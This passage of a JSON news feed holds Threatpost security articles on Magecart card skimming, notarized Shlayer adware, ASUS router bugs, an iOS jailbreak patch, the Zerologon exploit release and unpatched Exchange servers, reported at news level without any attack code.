supplies.\n\n\u201cThese sites were compromised by a skimmer using the domain OpenDoorCDN.com for data exfiltration,\u201d said Jordan Herman, threat researcher with RiskIQ in a Friday analysis. \u201cResearch by RiskIQ turned up several other compromised sites \u2013 some ranked within the Alexa top-200,000 \u2013 loading skimming code from storefrontcdn.com.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nResearchers [Max Kersten](<https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/>) and [Jacob Pimental](<https://www.goggleheadedhacker.com/blog/post/14>) first became aware of the infection of the Olympic and UEFA ticket sale websites Jan. 17, after finding web skimming script on both of their check-out pages. While it\u2019s unclear how long the malicious script was on these two websites, the researchers estimate it may have been as long as 50 days, since the skimmer for both was first indexed Dec. 3, 2019. The skimmer has since been removed, they said. These sites were loading skimming code from the domain opendoorcdn.com.\n\nMeanwhile, the websites of both BePrepared.com and Augason Farms, which are owned by Blue Chip Group Manufacturing, were infected by the skimming code between Jan. 16 to Jan. 19, RiskIQ researchers said. The skimming code affecting these two sites was loaded from a different domain, storefrontcdn.com. These two sites have also since removed the code. Researchers said they don\u2019t have indication how many people were impacted by this wave of card skimmer attacks; however, BePrepared.com is currently ranked by Alexa at 129,204 globally and 26,238 in the U.S. Augasonfarms.com meanwhile is ranked 100,908 globally and 17,793 in the U.S.\n\nBased on the skimming code and obfuscation techniques used, researchers were able to link this attack back to Magecart Group 12, one of several groups operating under the [Magecart umbrella](<https://threatpost.com/podcast-breaking-down-the-magecart-threat-part-two/139534/>). [Magecart](<https://threatpost.com/podcast-breaking-down-the-magecart-threat-part-two/139534/>), which has made headlines over the past year or so for high-profile breaches of companies like [VisionDirect](<https://threatpost.com/visiondirect-blindsided-by-magecart-in-data-breach/139223/>), [Ticketmaster](<https://threatpost.com/ticketmaster-breach-just-one-part-of-a-wide-ranging-campaign/133892/>) and more, is known for its use of web-based, digital card skimmers, Magecart uses scripts injected into websites to steal data that\u2019s entered into online payment forms on e-commerce websites directly or through compromised third-party suppliers used by these sites.\n\nThe specific group in question, Magecart Group 12, has also been responsible for attacks on a [Paris-based advertising company, Adverline](<https://www.riskiq.com/blog/labs/magecart-adverline/>). This most recent campaign utilized similarities to Group 12\u2019s previous skimming attacks, along with some new updates.\n\n## New Tactics\n\nIn previous campaigns, Group 12 used Base64 encoded checks against the URLs of websites, looking for the words like \u201ccheckout\u201d to identify the payment page. However, this technique was dropped in this most recent campaign, and the script instead was loaded via a variable under the alias of \u201cEventsListenerPool.\u201d Herman told Threatpost while he\u2019s not positive why Magecart used this tactic, they may have changed things up to avoid detection.\n\n\u201cWhat has changed is how [Magecart attackers] get the compromised page to load that obfuscated skimming script. Previously, we would see an obfuscated piece of code on the compromised page that checks the URL for the word \u2018checkout\u2019 before loading the skimmer,\u201d RiskIQ told Threatpost. \u201cIn these recent compromises, there is no obfuscated code inserted on the compromised page and no URL check, instead, they opted for a simple, non-obfuscated bit of code on the compromised page which caused the above skimming script to load.\u201d\n\n[![magecart cyberattack](https://media.threatpost.com/wp-content/uploads/sites/103/2020/02/06160657/magecart-300x290.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/02/06160657/magecart.png>)Attackers in this most recent campaign also worked to quickly swap out domains from which they had loaded the skimming code. After researchers had identified OpenDoorCDN.com (registered since January 2019) on compromised websites, the domain was replaced by another, TopLevelStatic.com (registered Feb. 1 through a Chinese registrar), for instance.\n\n\u201cMagecart groups generally use many different domains for their skimmers and data exfiltration,\u201d RiskIQ told Threatpost. \u201cThis allows them to avoid detection because it is difficult to blacklist every one of their domains or get them taken down by their hosting providers. This is the first time I have directly observed a group swapping out skimming domains on compromised sites due to a takedown, but I expect it is not uncommon and shows how slippery Magecart can be.\u201d\n\nThese domains use the same DNS provider, DNSPod, based in China, researchers said, and both are hosted on NGINX servers and use Let\u2019s Encrypt certs. The IPs connected to TopLevelStatic.com have changed at least once a day, with each server, so far, based in Russia, they said. Skimming code is still being loaded from TopLevelStatic.com, Herman told Threatpost.\n\n\u201cThe activity seen here demonstrates that Magecart is a persistent and resilient threat that requires constant vigilance in order to protect against it,\u201d RiskIQ researchers said.\n\n_This article was updated at 12pm ET on Friday to clarify that the domain behind the skimming code on the Olympic ticket reseller websites was different than the one affecting the prepping sites. _\n\n_**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us [Wednesday, Feb. 19 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>) when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**_\n", "cvss3": {}, "published": "2020-02-07T11:00:01", "type": "threatpost", "title": "Magecart Gang Attacks Olympic Ticket Reseller and Survival Food Sites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-02-07T11:00:01", "id": "THREATPOST:3F0E45B1EBB975331C1ED9FCA486E4BE", "href": "https://threatpost.com/olympic-ticket-survival-sites-hit-by-cyberattack/152648/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:27:19", "description": "The online store for the Rooster Teeth video-streaming service has been hit with a malicious web redirect attack by Magecart, which allowed the cybercriminals to harvest users\u2019 payment-card details. The attack marks a slight departure from the group\u2019s typical tactics.\n\nRooster Teeth, which offers original podcasts, animated shows and short-form content aimed at Millennials, gamers and geeks, said that the attack happened on December 2. According to a company website notice, it was able to detect the issue the same day.\n\n\u201cThe malicious code directed users entering a checkout on the site to a spoofed webpage where they were asked to enter payment-card details in order to complete their purchases,\u201d [the Rooster Teeth notice](<https://blog.roosterteeth.com/notice-of-data-breach/>) explained. \u201cThis was inserted after the stage at which users entered their shipping data. Users who completed the payment-card details page were then directed to the real webpage, where they were asked to complete the forms again.\u201d\n\n[Magecart](<https://threatpost.com/macys-data-breach-linked-to-magecart/150393/>) is an umbrella term encompassing several different threat groups who typically use the same modus operandi: They compromise websites (mainly built on the Magento e-commerce platform) in order to inject card-skimming scripts on checkout pages. But the Magecart crooks behind this attack mixed up their tactics for this incident, according to Elad Shapira, head of research at Panorays.\n\n\u201cThe recent Rooster Teeth data breach illustrates how the Magecart threat continues to evolve while often targeting organizations through their third parties,\u201d he said via email. \u201cIn this case, malicious code introduced on the company\u2019s Shopify-based online store directed users to a fake payment page, where they were asked to enter their credit-card information. But it also points to good news, which is that companies are clearly beginning to take this threat seriously. It\u2019s encouraging that Rooster Teeth\u2019s IT team was able to discover and remove the malicious code on the same day it was introduced. Organizations can learn from this example, and should be sure to put processes in place to manage and review susceptibility to the Magecart threat through third-parties.\u201d\n\nThe issue affected the Rooster Teeth online store, where the company offers various kinds of clothing and other merchandise. Rooster Teeth free streaming accounts and its \u201cFIRST\u201d subscription memberships weren\u2019t impacted, the company said.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/17153707/rooster-teeth-300x140.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/17153707/rooster-teeth-e1576615039820.jpg>)The spoofed page collected name, email address, telephone number, physical address, and/or payment-card information (including expiration dates and security codes). The company said that it sent data-breach notices to customers who were caught up in the attack.\n\n\u201cWe removed the malicious code from the Site and took other steps to secure the site against further unauthorized access,\u201d the company said. \u201cThe incident did not affect any other part of the site or other information maintained by us. It is our goal to provide a safe and secure shopping environment, and we will continue to review, audit, and improve our security controls and processes.\u201d\n\nMike Bittner, director of digital security and operations at The Media Trust, noted that the attack underscores the ongoing rise of digital supply-chain attacks.\n\n\u201cUntil companies take the insecurity of their digital supply chains seriously and monitor the code that runs on their sites, these attacks will continue,\u201d he said. \u201cThere\u2019s no other way to prevent these attacks than to allow only trusted digital vendors to run code on your site, as well as closely watch and regulate all the code that these vendors and their own digital third parties run to make sure they all follow your policies. By doing so, you will address not only security risk but also quality and performance risks that can degrade the site\u2019s user experience.\u201d\n", "cvss3": {}, "published": "2019-12-17T20:51:21", "type": "threatpost", "title": "Rooster Teeth Attack Showcases New Magecart Approach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2019-12-17T20:51:21", "id": "THREATPOST:26D5939EFE0BD9FACA470F9A3D547398", "href": "https://threatpost.com/rooster-teeth-attack-magecart/151216/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:14:34", "description": "Apple accidentally approved one of the most popular Mac malware threats \u2013 OSX.Shlayer \u2013 as part of its security notarization process.\n\nThe Apple notary service is an automated system on recent macOS versions that scans software (ranging from macOS apps, kernel extensions, disk images and installer packages) for malicious content and checks for code-signing issues. Then, when a macOS user installs the software, Apple\u2019s Gatekeeper security feature notifies them about whether any malicious code was detected before they open it.\n\nSecurity researchers [Peter Dantini](<https://twitter.com/PokeCaptain>) and Patrick Wardle recently discovered that Apple inadvertently notarized malicious payloads that were utilized in a recent adware campaign.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cUnfortunately a system that promises trust, yet fails to deliver, may ultimately put users at more risk,\u201d said Wardle in a [Sunday analysis](<https://objective-see.com/blog/blog_0x4E.html>). \u201cHow so? If Mac users buy into Apple\u2019s claims, they are likely to fully trust any and all notarized software. This is extremely problematic as known malicious software (such as OSX.Shlayer) is already (trivially?) gaining such notarization.\u201d\n\nOn Friday, Dantini noticed that a website (homebrew[.]sh) was actively hosting an adware campaign. The website is likely spoofing the legitimate Homebrew site (hosted at brew.sh), a free and open-source software package management system that simplifies the installation of software on macOS.\n\n> So I accidentally found a thing <https://t.co/WVL86rYzrm>\n> \n> \u2014 Peter H. Dantini (@PokeCaptain) [August 31, 2020](<https://twitter.com/PokeCaptain/status/1300440938301607939?ref_src=twsrc%5Etfw>)\n\nWhen users visited the website, it redirected several times before telling them that their Adobe Flash Player is out of date and recommending an update (via at least three separate pop ups in the browser). While the campaign seems like a fairly run-of-the-mill adware attack, what\u2019s different is that Apple\u2019s notarization requirements do not trigger a warning notification telling the user that the developer cannot be verified, and that it is unknown whether the app is free from malware.\n\nThe adware payloads were fully notarized in this campaign, meaning the malicious payloads were submitted to Apple prior to distribution. They were scanned by the mobile giant and no malicious code was detected via Apple\u2019s automated system.\n\n[![apple notarization](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/31142818/notarization-300x169.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/31142818/notarization.png>)Upon further inspection, Wardle discovered that the notarized payloads appear to be OSX.Shlayer malware.\n\nAfter running the payloads in an instrumented virtual machine captures, Wardle was able to discover the execution of various shell commands. These commands change file modes, execute and delete files, and more.\n\nShlayer is a top common threat for Macs \u2014 In fact, last year it made up 29 percent of all attacks on macOS devices in Kaspersky\u2019s telemetry for 2019, making it the [No. 1 Mac malware threat](<https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/>) for the year. [More recently,](<https://threatpost.com/shlayer-mac-malware-extra-sneakiness/156669/>) a new variant of the malware has been spotted actively using poisoned Google search results in order to find its victims.\n\nAfter the malicious payloads were spotted, Wardle notified Apple, which revoked their certificates on Aug. 28. Then, on Aug. 30 (Sunday), the adware campaign was still live and serving up new notarized payloads.[![notarization apple](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/31142859/blocked-300x141.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/31142859/blocked.png>)\n\n\u201cBoth the old and \u2018new\u2019 payload(s) appears to be nearly identical, containing OSX.Shlayer packaged with the Bundlore adware,\u201d said Wardle. \u201cHowever the attackers\u2019 ability to agilely continue their attack (with other notarized payloads) is noteworthy. Clearly in the never-ending cat and mouse game between the attackers and Apple, the attackers are currently (still) winning.\u201d\n\nThe Bundlore adware\u2019s goal is generally to install various browser extensions and show victims various ads, Wardle told Threatpost. As of Monday, these newer notarized payloads were also revoked by Apple, Wardle told Threatpost.\n\n\u201cMalicious software constantly changes, and Apple\u2019s notarization system helps us keep malware off the Mac and allow us to respond quickly when it\u2019s discovered,\u201d an Apple spokesperson told Threatpost. \u201cUpon learning of this adware, we revoked the identified variant, disabled the developer account, and revoked the associated certificates. We thank the researchers for their assistance in keeping our users safe.\u201d\n\n**[On Wed Sept. 16 @ 2 PM ET:](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>) Learn the secrets to running a successful Bug Bounty Program. [Resister today](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) for this FREE Threatpost webinar \u201c[Five Essentials for Running a Successful Bug Bounty Program](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this [LIVE](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) webinar.**\n", "cvss3": {}, "published": "2020-08-31T19:45:07", "type": "threatpost", "title": "Apple Accidentally Notarizes Shlayer Malware Used in Adware Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-31T19:45:07", "id": "THREATPOST:2DF088ED0B48BE31C97E898391B83566", "href": "https://threatpost.com/apple-accidentally-notarizes-shlayer-malware/158818/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:16:19", "description": "A pair of flaws in ASUS routers for the home could allow an attacker to compromise the devices \u2013 and eavesdrop on all of the traffic and data that flows through them.\n\nThe bugs are specifically found in the RT-AC1900P whole-home Wi-Fi model, within the router\u2019s firmware update functionality. Originally uncovered by Trustwave, ASUS has issued patches for the bugs, and owners are urged to apply the updates as soon as they can.\n\nThe first issue (CVE-2020-15498) stems from a lack of certificate checking.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe router uses [GNU Wget](<https://www.gnu.org/software/wget/>) to fetch firmware updates from ASUS servers. It\u2019s possible to log in via SSH and use the Linux/Unix [\u201cgrep\u201d command](<https://www.geeksforgeeks.org/grep-command-in-unixlinux/>) to search through the filesystem for a specific string that indicates that the vulnerability is present: \u201c\u2013no-check-certificate.\u201d\n\nIn vulnerable versions of the router, the files containing that string are shell scripts that perform downloads from the ASUS update servers, according to [Trustwave\u2019s advisory](<https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=27440>), issued on Thursday. This string indicates that there\u2019s no certificate checking, so an attacker could use untrusted (forged) certificates to force the install of malicious files on the targeted device.\n\nAn attacker would need to be connected to the vulnerable router to perform a man in the middle attack (MITM), which would allow that person complete access to all traffic going through the device.\n\nThe latest firmware eliminates the bug by not using the Wget option anymore.\n\nThe second bug (CVE-2020-15499) is a cross-site scripting (XSS) vulnerability in the Web Management interface related to firmware updates, according to Trustwave.\n\n\u201cThe release notes page did not properly escape the contents of the page before rendering it to the user,\u201d explained the firm. \u201cThis means that a legitimate administrator could be attacked by a malicious party using the first MITM finding and chaining it with arbitrary JavaScript code execution.\u201d\n\nASUS fixed this in the latest firmware so that the release notes page no longer renders arbitrary contents verbatim.\n\n\u201cSince routers like this one typically define the full perimeter of a network, attacks targeting them can potentially affect all traffic in and out of your network,\u201d warned Trustwave.\n\nASUS patched the issues in firmware version 3.0.0.4.385_20253.\n\nThe bug disclosure comes less than two weeks after a [bombshell security review](<https://threatpost.com/report-most-popular-home-routers-have-critical-flaws/157346/>) of 127 popular home routers found most contained at least one critical security flaw, according to researchers. Not only did all of the routers the researchers examined have flaws, many \u201care affected by hundreds of known vulnerabilities,\u201d the researchers said.\n\nOn average, the routers analyzed\u2013\u2014by vendors such as D-Link, Netgear, ASUS, Linksys, TP-Link and Zyxel\u2014were affected by 53 critical-rated vulnerabilities (CVE), with even the most \u201csecure\u201d device of the bunch having 21 CVEs, according to the report. Researchers did not list the specific vulnerabilities.\n", "cvss3": {}, "published": "2020-07-23T16:04:30", "type": "threatpost", "title": "ASUS Home Router Bugs Open Consumers to Snooping Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-15498", "CVE-2020-15499", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-07-23T16:04:30", "id": "THREATPOST:9234A5FE45618A7D601CF00D4A75748E", "href": "https://threatpost.com/asus-home-router-bugs-snooping-attacks/157682/", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2020-10-16T22:36:18", "description": "Apple quietly pushed out a [small but important update](<https://support.apple.com/en-us/HT201222>) for operating systems across all of its devices, including a patch for a zero-day exploit used in an iPhone [jailbreak tool](<https://threatpost.com/new-ios-jailbreak-tool-works-on-iphone-models-ios-11-to-ios-13-5/156045/>) released last week.\n\nIn its notes for the release, Apple says very little else about the patches overall that it pushed out Monday \u2014 for iOS (including 13.4.6 for HomePod) and iPadOS 13.5.1, watchOS 6.2.6, tvOS 13.4.6, and macOS 10.15.5 \u2014 other than that they provide \u201cimportant security updates\u201d that are \u201crecommended for all users.\u201d\n\nA further look at the [details](<https://support.apple.com/pt-pt/HT211214>) of the iPhone updates explains that the release addresses the bug tracked as CVE-2020-9859, used in the [Unc0ver jailbreak](<https://threatpost.com/new-ios-jailbreak-tool-works-on-iphone-models-ios-11-to-ios-13-5/156045/>). The impact of the vulnerability is that \u201can application may be able to execute arbitrary code with kernel privileges.\u201d The description of the fix is that \u201ca memory-consumption issue was addressed with improved memory handling.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe update comes less than a week after hackers released the Unc0ver jailbreak tool, which they said uses a zero-day exploit to break into any iPhone, even those running the latest iOS 13.5. the hackers did not disclose which unpatched iOS flaw they use in their new tool, but they lauded it as the first zero-day jailbreak for the iPhone platform since iOS 8. [Jailbreak tools](<https://threatpost.com/checkra1n-jailbreak-stirs-concerns/150182/>) take advantage of vulnerabilities in iOS to allow users root access and full control of their device, in order to load programs and code from outside of the Apple walled garden.\n\nHowever, one [report](<https://www.vice.com/en_us/article/dyz8nw/iphone-ios-ios13-jailbreak-uncover-unc0ver>) from Vice Motherboard last week said that the jailbreak takes advantage of a kernel vulnerability, which was subsequently identified as CVE-2020-9859.\n\nThe team behind jailbreak tool said at the time that they expected Apple to find the flaw and release a patch for it, calling it the \u201cnature\u201d of the business, a hacker called [Pwn20wnd](<https://twitter.com/Pwn20wnd>) told Vice Motherboard.\n\nThe ability for a threat actor to execute arbitrary code with kernel privileges is indeed a critical security problem that Apple would want to patch as soon as possible once it\u2019s been discovered or exploited. Kernel privileges gives someone control over everything in the OS, so a hacker who uses this ability can basically take over, modify or access whatever data or functionality they choose to on someone\u2019s iOS device.\n\nSome pro-jailbreak Apple users on Twitter are encouraging users to skip the security update.\n\n\u201c_#iOS_ 13.5.1 does in fact patch the [#exploit](<https://twitter.com/hashtag/exploit?src=hashtag_click>) used for [#unc0ver](<https://twitter.com/hashtag/unc0ver?src=hashtag_click>).\u201d [tweeted](<https://twitter.com/AppleTerminal/status/1267525571128356864>) [Apple Terminal](<https://twitter.com/AppleTerminal>), an account that calls itself an \u201cindependent Apple news source.\u201d \u201cDO NOT UPDATE.\u201d\n\nOther Apple experts on Twitter encouraged people who don\u2019t want to jailbreak their iPhones to make sure they install the patch, also telling users that it fixes the latest Unc0ver jailbreak tool.\n\n\u201cApple released iOS 13.5 update fixing Zero Day exploit used by Unc0ver Jailbreak,\u201d tweeted [iRobin Pro](<https://twitter.com/iRobinPro>), an Apple expert and blogger with a YouTube channel. \u201cIf you are not going to jailbreak your iPhone or iPad, update immediately.\u201d\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-06-02T13:53:14", "type": "threatpost", "title": "Apple Jailbreak Zero-Day Gets a Patch", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-9859"], "modified": "2020-06-02T13:53:14", "id": "THREATPOST:F547DC4A5DD1A7B486FE5B2CBD69648A", "href": "https://threatpost.com/apple-jailbreak-zero-day-patch/156201/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-16T22:10:16", "description": "Proof-of-concept (PoC) exploit code has been released for a Windows flaw, which could allow attackers to infiltrate enterprises by gaining administrative privileges, giving them access to companies\u2019 Active Directory domain controllers (DCs).\n\nThe vulnerability, dubbed \u201cZerologon,\u201d is a privilege-escalation glitch ([CVE-2020-1472](<https://www.tenable.com/cve/CVE-2020-1472>)) with a CVSS score of 10 out of 10, making it critical in severity. The flaw was addressed in [Microsoft\u2019s August 2020 security updates](<https://threatpost.com/microsoft-out-of-band-security-update-windows-remote-access-flaws/158511/>). However, this week at least four public PoC exploits for the flaw were released on** **[Github,](<https://github.com/dirkjanm/CVE-2020-1472>) and on Friday, researchers with Secura (who discovered the flaw) published technical details of the vulnerability.\n\n\u201cThis attack has a huge impact: It basically allows any attacker on the local network (such as a malicious insider or someone who simply plugged in a device to an on-premise network port) to completely compromise the Windows domain,\u201d said researchers with Secura, [in a Friday whitepaper](<https://www.secura.com/pathtoimg.php?id=2055>). \u201cThe attack is completely unauthenticated: The attacker does not need any user credentials.\u201d\n\n[![Threatpost Webinar Promo Bug Bounty](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/04091928/bounty_webinar_promo_small.gif)](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to register.\n\nThe flaw stems from the Netlogon Remote Protocol, available on Windows domain controllers, which is used for various tasks related to user and machine authentication.\n\nSpecifically, the issue exists in the usage of AES-CFB8 encryption for Netlogon sessions. The AES-CFB8 standard requires that each \u201cbyte\u201d of plaintext have a randomized initialization vector (IV), blocking attackers from guessing passwords. However, Netlogon\u2019s ComputeNetlogonCredential function sets the IV to a fixed 16 bits \u2013 not randomized \u2013 meaning an attacker could control the deciphered text.\n\nIn a real-world attack, attackers could send a number of Netlogon messages in which various fields are filled with zeroes, allowing them to bypass these authentication measures, and access and change the computer password of the domain controller that is stored in the Active Directory (AD), researchers said.\n\n\u201cDue to incorrect use of an AES mode of operation it is possible to spoof the identity of any computer account (including that of the [Domain Controller] itself) and set an empty password for that account in the domain,\u201d according to Secura researchers.\n\n[![windows Zerologon attack](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/15102209/microsoft-window-attack-300x272.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/15102209/microsoft-window-attack.png>)\n\nThe Zerologon attack. Credit: Secura\n\nOf note, in order to exploit this vulnerability, the attacker would need to launch the attack from a machine on the same local-area network (LAN) as their target \u2013 meaning they would already need a foothold inside the targeted network.\n\n\u201cA vulnerable client or DC exposed to the internet is not exploitable by itself,\u201d according to researchers with Tenable [in an analysis of the flaw](<https://www.tenable.com/blog/cve-2020-1472-zerologon-vulnerability-in-netlogon-could-allow-attackers-to-hijack-windows>). \u201cThe attack requires that the spoofed login works like a normal domain login attempt. Active Directory (AD) would need to recognize the connecting client as being within its logical topology, which external addresses wouldn\u2019t have.\u201d\n\nHowever, if attackers are able to exploit the flaw, they can impersonate the identity of any machine on a network when attempting to authenticate to the Domain Controller \u2013 enabling further attacks, including the complete takeover of a Windows domain, researchers said.\n\n\u201cIn a hypothetical attack, one could use this vulnerability to deploy ransomware throughout an organization and maintain a persistent presence if cleanup and restoration efforts miss any additional malicious scripts,\u201d said Tenable researchers. \u201cOrganizations with network-accessible backups could end up with a perfect storm if a ransomware group destroys backups to increase their likelihood of payout from the victim organization.\u201d\n\nWith at least four PoC exploits [now available on GitHub](<https://github.com/risksense/zerologon>), security researchers and [U.S. government authorities](<https://us-cert.cisa.gov/ncas/current-activity/2020/09/14/exploit-netlogon-remote-protocol-vulnerability-cve-2020-1472>) alike are urging admins to ensure they apply Microsoft\u2019s August patches. These patch address this problem by enforcing Secure Netlogon Remote Protocol (i.e. Netlogon signing and sealing) for all Windows servers and clients in the domain.\n\n> Yeah, I can confirm that this public exploit for Zerologon (CVE-2020-1472) works. Anybody who has not installed the patch from August's Patch Tuesday already is going to be in much worse shape than they already were.<https://t.co/SWK2hUDOYc> <https://t.co/0SDFfageQC> [pic.twitter.com/Lg8auMdtVU](<https://t.co/Lg8auMdtVU>)\n> \n> \u2014 Will Dormann (@wdormann) [September 14, 2020](<https://twitter.com/wdormann/status/1305564045282598912?ref_src=twsrc%5Etfw>)\n\nMicrosoft for its part is addressing the vulnerability in a phased rollout. The initial deployment phase started with Windows updates being released on August 11, 2020, while the second phase, planned for the first quarter of 2021, will be an \u201cenforcement phase.\u201d\n\n\u201cThe DCs will be placed in enforcement mode, which requires all Windows and non-Windows devices to use secure Remote Procedure Call (RPC) with Netlogon secure channel or to explicitly allow the account by adding an exception for any non-compliant device,\u201d said Microsoft.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-15T15:59:40", "type": "threatpost", "title": "Windows Exploit Released For Microsoft \u2018Zerologon\u2019 Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-1472", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-09-15T15:59:40", "id": "THREATPOST:23D55C85EA8B442C858FF058C5E25DBC", "href": "https://threatpost.com/windows-exploit-microsoft-zerologon-flaw/159254/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:21:46", "description": "Over 80 percent of exposed Exchange servers are still vulnerable to a severe vulnerability \u2013 nearly two months after the flaw was patched, and after researchers warned that multiple threat groups were exploiting it.\n\nThe vulnerability in question ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, opens servers up to authenticated attackers, who could execute code remotely on them with system privileges.\n\nResearchers recently used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw. Out of 433,464 internet-facing Exchange servers observed, at least 357,629 were vulnerable (as of March 24).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\u201cIf your organization is using Exchange and you aren\u2019t sure whether it has been updated, we strongly urge you to skip to the Taking Action section immediately,\u201d said Tom Sellers, manager of the Rapid7 Labs team, in a [Monday analysis](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>).\n\nWhile the flaw was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates, researchers warned [in a March advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors. Attacks [first started late February](<https://www.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?utm_source=charge&utm_medium=social&utm_campaign=internal-comms>) and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\nBrian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program (which was credited with discovered the flaw) told [Threatpost via email](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that while the vulnerability was labelled \u201cimportant\u201d in severity by Microsoft, researchers opine it should be treated as \u201ccritical.\u201d\n\n\u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog,\u201d he said. 